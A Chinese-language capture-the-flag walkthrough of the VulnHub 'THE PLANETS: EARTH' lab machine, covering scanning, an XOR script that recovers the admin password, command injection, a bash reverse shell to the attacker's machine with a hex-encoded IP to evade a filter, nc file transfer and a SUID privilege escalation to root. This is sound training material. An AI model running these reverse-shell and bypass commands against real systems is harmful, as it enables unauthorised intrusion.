准备:

攻击机:虚拟机kali、本机win10。

靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/theplanets/Earth.ova,下载后直接vm打开即可。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.0.0/24,获得靶机地址:192.168.0.11

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22、80、443端口,但是443端口需要进行dns解析。

在未设置dns解析时,访问下https和http服务显示均是400:

设置dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后访问:https://earth.local/http://earth.local或https://terratest.earth.local获得初始界面:

kali:打开/etc/hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后同windows。

目录扫描:

使用dirmap进行目录扫描:python dirmap.py -i http://earth.local/ -lcf和python dirmap.py -i https://terratest.earth.local -lcf,获得一下目录信息:

对扫描出来的地址进行访问,获得一个登录界面、一个robots.txt文件,访问结果如下:

尝试访问一下testingnotes.*文件,后面后缀进行测试,最后发现txt文档可以访问,https://terratest.earth.local/testingnotes.txt

在该文件中发现了以下信息:

1、用户名信息:terra used as username for admin portal,用户名terra是超级管理员账户。

2、加密算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密算法XOR。

3、加密文本:testdata.txt was used to test encryption,测试数据在testdata.txt中。

xor算法:a^b=c,则c^b=a或c^a=b,所以我们就需要将发送得信息与密码本信息进行异或,得到原来发送得未加密得信息。

读取testdata.txt文件:

解码传输信息

#vlunhub之THE PLANETS: EARTH脚本
import binascii entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
#脚本结果
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

观察到最后得字符串信息是:earthclimatechangebad4humans得重复,因此猜测密码就是这个,因此在https://earth.local/admin/login界面使用账户名和密码进行登录:

获取flag

根据题目描述这题是要寻找两个flag:

因此通过find查找flag文件,find / -name "*flag*",

然后读取下/var/earth_web/user_flag.txt文件的信息,cat /var/earth_web/user_flag.txt,获取到flag值:

获取root权限

观察到当前用户是apache用户,那就是还差一个root用户,因此这里就要尝试获取root权限

首先获取下root权限下的文件都有哪些,命令:find / -user root -perm -4000 -print 2>/dev/null,发现/usr/bin/reset_root,结果如下:

尝试执行一下,但是重置密码失败

那就尝试获取下shell权限,开启kali的6688端口监听:nc -lvvp 6688

在网页输入框中输入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 进行执行,但是显示被禁止了

发现被禁止后就在网上查找了以下,发现通过将ip地址转换成16禁止可以进行绕过:bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1,kali端成功获取到shell权限

因为shell上无法进行调试,因此把reset_root文件下载到本地进行调试,使用nc进行文件的传递,服务端:nc -nlvp 8899 >reset_root,shell端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先后顺序

然后使用strace进行调试:strace ./reset_root,显示缺少三个文件

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44

那就去靶机上看一下这几个文件,发现靶机上也没有这几个文件

那就创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth

在root权限下查找flag文件并读取flag值

最新文章

  1. SQL入门语句之ORDER BY 和GROUP BY
  2. python爬虫感想
  3. 如何在HTML中加载Flash(2种实现方法)_HTML/Xhtml_网页制作
  4. 《热血传奇2》wix、wil文件解析Java实现
  5. 查看Mac电脑的开机记录
  6. mysql判断某个字符串是否包含另一个
  7. 一个Cmake的例子
  8. 保存数据到sdcard中去
  9. 1c19b35b005744d55261682b361804fa 如何破解经过 MD5 算法处理的信息?
  10. 使用Restify+superagent做数据转发
  11. 总结C语言在嵌入式开发中应用的知识点(文件数据的加密与解密)
  12. 跟我学ASP.NET MVC之三:完整的ASP.NET MVC程序-PartyInvites
  13. 迭代器&amp;迭代对象&amp;生成器
  14. mysql-cluster集群配置
  15. JavaWeb+SVN+Maven+Tomcat +jenkins实现自动化部署
  16. 基于python的OpenCV图像1
  17. Linux Shell完成Qt程序的自动部署
  18. Ubuntu上Xilinx ARM交叉编译器安装
  19. TrinityCore3.3.5环境搭建
  20. Vue+Flask看这篇就够了

热门文章

  1. linux 安装Apache php mysql注意事项
  2. Nginx 文件传输效率、实时、压缩配置指令
  3. 使用 Redis 源码编译发布 Windows 版 Redis For Windows 发行包
  4. .NET中MongoDB之CRUD
  5. 点击>>>解锁Apache Hadoop Meetup 2021!
  6. bash脚本里的-h是什么意思?
  7. 创新能力加速产业发展,SphereEx 荣获“中关村银行杯”『大数据与云计算』领域 TOP1
  8. Mybatis框架--优化过程
  9. IDEA:库源与类的字节码不匹配
  10. DLL Proxy Loading Bypass AV